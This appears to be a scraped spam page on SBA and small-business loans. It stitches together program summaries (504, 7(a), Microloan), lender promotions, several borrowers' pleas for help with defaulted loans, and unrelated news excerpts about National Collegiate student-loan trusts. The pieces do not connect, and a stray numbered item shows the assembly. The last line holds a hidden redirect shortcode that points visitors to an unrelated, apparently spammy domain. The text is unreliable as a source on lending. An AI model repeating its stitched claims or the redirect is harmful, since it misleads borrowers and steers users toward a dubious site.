The 504 Fixed Asset Financing Program is administered through non-profit Certified Development Companies throughout the country. This program provides funding for the purchase or construction of real estate and/or the purchase of business equipment/machinery. Of the total project costs, a lender must provide 50% of the financing, a Certified Development Company provides up to 40% of the financing through a 100% SBA-guaranteed debenture, and the applicant provides approximately 10% of the financing. Thorough due diligence of properties purchased through this program is required. Specific SBA Level I Environmental Site Assessment guidelines apply as all properties are treated as “high risk.” The Small Business Jobs Act permanently increased the maximum size of these loans from $2 million to $5 million ($5.5 million for manufacturers).
When pitching an angel investor, all the old rules still apply: be succinct, avoid jargon, have an exit strategy. But the economic turmoil of the last few years has made a complicated game even trickier. Here are some tips to win over angel interest:
Every lender has different underwriting guidelines, but they generally consider similar factors, including personal credit score, your time in business and annual revenue. Lenders also consider your cash flow and ability to repay the debt.
Our bank that we have the SBA loan with has not been easy to work with though. When we told them we were not going to make the payment the bank froze our business and personal bank accounts immediately. They also refuse to call in on the SBA guarantee. We have now brought them a short sale and have tried to form a work out plan but the bank still refuses to work with us for a solution. Instead the bank simply wants to sue us and the guarantors even after we sell the property. Also recently our bank has emptied our business account and applied those dollars to the operating lines of credit in full without our approval. Those funds were accumulated by selling assets of the business.
Businesses with special requirements (such as those in exports or those operational in rural areas) are covered under this program. This is considered to be the most flexible choice, and also the most suitable one if you have a start-up in mind. The different 7(a) loan programs are:
It’s important that those who are applying and obtaining a loan get the right one. Great job laying out and discussing the different types of SBA Loans. I’m sure that many people will find this post helpful.
8. This week I got a call from a person by the name of Danny from a debt collector in New York called “Conserve”. He informed me that he was a debt collector for the Treasury and that I owed $512,348.20 and needed to make arrangements for payment.
I have an SBA loan which has been mishandled by the bank. Briefly, my originating bank was absorbed by another. The first bank applied each payment correctly (fixed principle, WSJ interest + 2%) and not a single payment was missed in 7 years. When the new bank took over, they misapplied every payment (keeping up to 75% in interest and not reducing the principle) until I eventually stopped paying. They denied receiving certified mail, they denied ever having heard from me, they would not discuss the problem. I now pay Treasury directly but have incurred a penalty. And I have overpaid 2K to the bank. And they are holding my life insurance hostage (with an assignment to the original bank) and refuse to put in writing that the loan has reverted to Treasury. I am looking to sue for the overpayment and for damages because I’ve been put in an untenable position. I have paperwork to back up everything but limited funds for an attorney. What can I do? The gov’t says I’m on my own. Thanks for any assistance in advance.
In an unusual situation, one of the financiers behind National Collegiate’s trusts agrees with some of the criticism. He is Donald Uderitz, the founder of Vantage Capital Group, a private equity firm in Delray Beach, Fla., that is the beneficial owner of National Collegiate’s trusts. (Mr. Uderitz’s company keeps whatever money is left after the trusts’ noteholders are paid off.)
Hi, my name is Nancy delos Reyes. We have SBA loan with Bank of America. Since our business sales went down 2 years ago I have hard time my SBA loan payment every month. I have been late paying my loan since May 2011. I have try to do settlement with the bank but they don’t accept our offer. I am afraid of lawsuit and loosing my business or assets. Please give me some opinion what to do.
OnDeck can lend up to $500,000 in as little as a day with minimal paperwork. However, you’ll need to be willing to accept a higher interest rate and shorter term (up to two years) in exchange for convenience and speed. You must have been in business for at least 1 year with at least $100,000 in gross annual revenue.
BizanalyzerTM Dashboard What a FICO score is to personal credit, BizAnalyzerTM is to business credit. Understanding how lenders will evaluate your risk as a borrower will empower you to get the best loan and terms available. Taking a small business loan is an important step in your business operations. Understanding why you are borrowing money and determining the value it brings to your business is a complex and often, an uncertain event.
It’s also a good idea to ask your lender about any potential penalties or discounts that may apply to your loan. For example, some lenders discourage prepayments by enforcing penalties while others offer you a discount for paying off your loan early.
I need some information about bankruptcy; I buy commercial property three years ago. I borrow $45,000 loan on that property and $ 50,000 SBA loan. I run that business almost 2 and half year but it’s not going well. Six month ago I sold my property with business, business already transfer to new owner name with lean and he continue paying mortgage and SBA payment. Bank knows I sold my property but SBA don’t know, Now what happen SBA loan if I am going to file bankruptcy,
The Microloan program provides small loans ranging from under $500 to $50,000. Under this program, the SBA makes funds available to nonprofit intermediaries that, in turn, make the small loans directly to entrepreneurs, including veterans. Proceeds can be used for typical business purposes such as working capital, or the purchase of furniture, fixtures, machinery, supplies, equipment, and inventory. Microloans may not be used for the purchase of real estate. Interest rates are negotiated between the borrower and the intermediary. The maximum term for a microloan is 7 years. For more information, go to www.sba.gov/microloans
Small businesses have a tougher time getting approved due to factors including lower sales volume and cash reserves; add to that bad personal credit or no collateral (such as real estate to secure a loan), and many small-business owners come up empty-handed. Getting funded takes longer than other options — typically two to six months — but banks are usually your lowest-APR option.
Export loans are designed to help small businesses fund new exporting operations and offer cash flow solutions to small business so they can be more flexible with the terms they offer their international customers. Read more…
SBA 7(a) loans are the most common type of SBA loan. These loans of up to $5,000,000 can be used for working capital, to refinance debt, or to buy a business, real estate, or equipment. The SBA 7(a) program includes the SBA Express Loans and SBA Advantage Loans. Read more…
Unlike 7(a) and 504 loans, which are only offered to for-profit businesses, microloans can also be used for not-for-profit childcare centers, though other types of not-for-profit companies are ineligible.
In her defense, Ms. Watson’s lawyer seized upon what he saw as the flaws in National Collegiate’s paperwork. Judge Eddie McShan of New York City’s Civil Court in the Bronx agreed and dismissed four lawsuits against Ms. Watson. The trusts “failed to establish the chain of title” on Ms. Watson’s loans, he wrote in one ruling.
When you receive a business loan and repay it on schedule, this can help you boost your credit score. Paying off loans and other bills in a timely manner is important, so if you’re interested in improving your credit score, this can be a great opportunity.
We had to close our business and had an sba loan. We have made a deal with the bank to make $800/mo payments for 5 years, then we will see how things have changed, like maybe we had a windfall of $500,000 or some other miracle. We are on year 4. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]